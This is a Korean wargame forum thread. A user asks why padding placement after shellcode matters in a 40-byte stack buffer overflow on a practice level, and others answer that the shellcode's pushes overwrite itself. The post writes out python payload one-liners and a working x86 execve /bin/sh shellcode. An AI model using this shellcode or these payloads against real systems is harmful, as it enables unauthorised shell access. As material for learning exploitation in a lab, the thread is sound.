레벨 해킹

 2839, 1/142 회원가입  로그인  
   incaro
   LOB 질문]] 왜! 16Byte이여야 하는가.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3213 [복사]


*LOB 문제4에서 BUFFER가 [40Byte]이고, 일반적인 버퍼 오버플로우 방식으로 셸코드를 삽입하여
문제를 풀었을때  다음과 같은 사항이 있는데요.



궁금한것 하나)
아래와 같이 셸코드 오른쪽 어떠한 값(예:NOP)을 채울때
한가지 조건이 꼭 뒤에는 16Byte 이상 되야 한다는 것입니다.
* ⑤, ⑥ 번과 같이 셸코드 오른쪽에 16Byte일때만 정상적으로 셸권한을 따낼수 있었습니다..
___________________________________________________________
①[NOP*20] + [셸코드] + [RET]                        (X)
$(python -c 'print "\x90"*20 + "셸코드" + "RET 주소"')
②[NOP*16] + [셸코드] + [NOP*4] + [RET]         (X)
$(python -c 'print "\x90"*16 + "셸코드" + "\x90"*4 + "RET 주소"')
③[NOP*12] + [셸코드] + [NOP*8] + [RET]         (X)
$(python -c 'print "\x90"*12 + "셸코드" + "\x90"*8 + "RET 주소"')
④[NOP*8]  + [셸코드]  + [NOP*12] + [RET]       (X)
$(python -c 'print "\x90"*8 + "셸코드" + "\x90"*12 + "RET 주소"')
⑤[NOP*4]  + [셸코드]  + [NOP*16] + [RET]       (O)
$(python -c 'print "\x90"*4 + "셸코드" + "\x90"*16 + "RET 주소"')
⑥[셸코드]  + [NOP*20] + [RET]                       (O)
$(python -c 'print "셸코드" + "\x90"*20 + "RET 주소"')
___________________________________________________________
사용한 셸코드 :
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
___________________________________________________________
[BUFFER (40Byte)] + [EBP(4Byte)] + [RET (4Byte)]
[          NOP + 셸코드  + NOP  +  RET주소       ]
-----------------------------------------------------------

궁금한것 두울)
*그러나 위처럼 NOP 썰매를 쓰지 않고 영문자 스페링도 되더군요.
예 )
             ["A"*4]  + [셸코드]  + ["A"*16] + [RET]         (O)
             ["B"*4]  + [셸코드]  + ["B"*16] + [RET]         (O)
             ["C"*4]  + [셸코드]  + ["C"*16] + [RET]         (O)
             [셸코드]  + ["Z"*20] + [RET]                        (O)
------------------------------------------------------------------------------------
(※. LOB문제4에서만 그런것은 아닙니다.)


그러나 정확한 이유를 모르겠네요!
좋은 답변 기다립니다.  좋은 하루 되세요^^



  Hit : 3755     Date : 2011/06/01 06:30



    
멍멍 질문 이해 불가.. 죄송합니다 2011/06/02  
incaro 죄송합니다 너무 두서 없이 질문을 드렸네요.
수정하였습니다.
2011/06/02  
별빛을담아 dummy 부분이 있어서 그런거 아닌가요? ㅇㅅㅇ
LOB부터는 FTZ와 다르게 dummy가 있다고 들은거 같은데 말이죠;
2011/06/03  
incaro 그반대로 FTZ는 dummy가 있고
LOB는 gcc version egcs-2.91.66 로 더미가 없습니다.
저 규칙을 모르겠네요 ;; 아시는분 ㅜㅜ 답변좀 부탁드려요
2011/06/03  
guswns0528 shellcode가 실행되면서 대부분 인자를 넘기기 위해서 esp를 변경합니다. 이때 esp가 바뀌는 방향은 stack이 자라는 방향인데 push명령이나 mov명령으로 값을 쓰게 되면 shellcode를 덮어씁니다. 그래서 쉘코드가 실행되다가 illeagal instruction이나 segfault가 나게 됩니다. 2011/06/07  
incaro 답변 감사드려요. 2011/06/09  
멍멍 guswns0528님 답변이 정확하네요~ 2011/07/04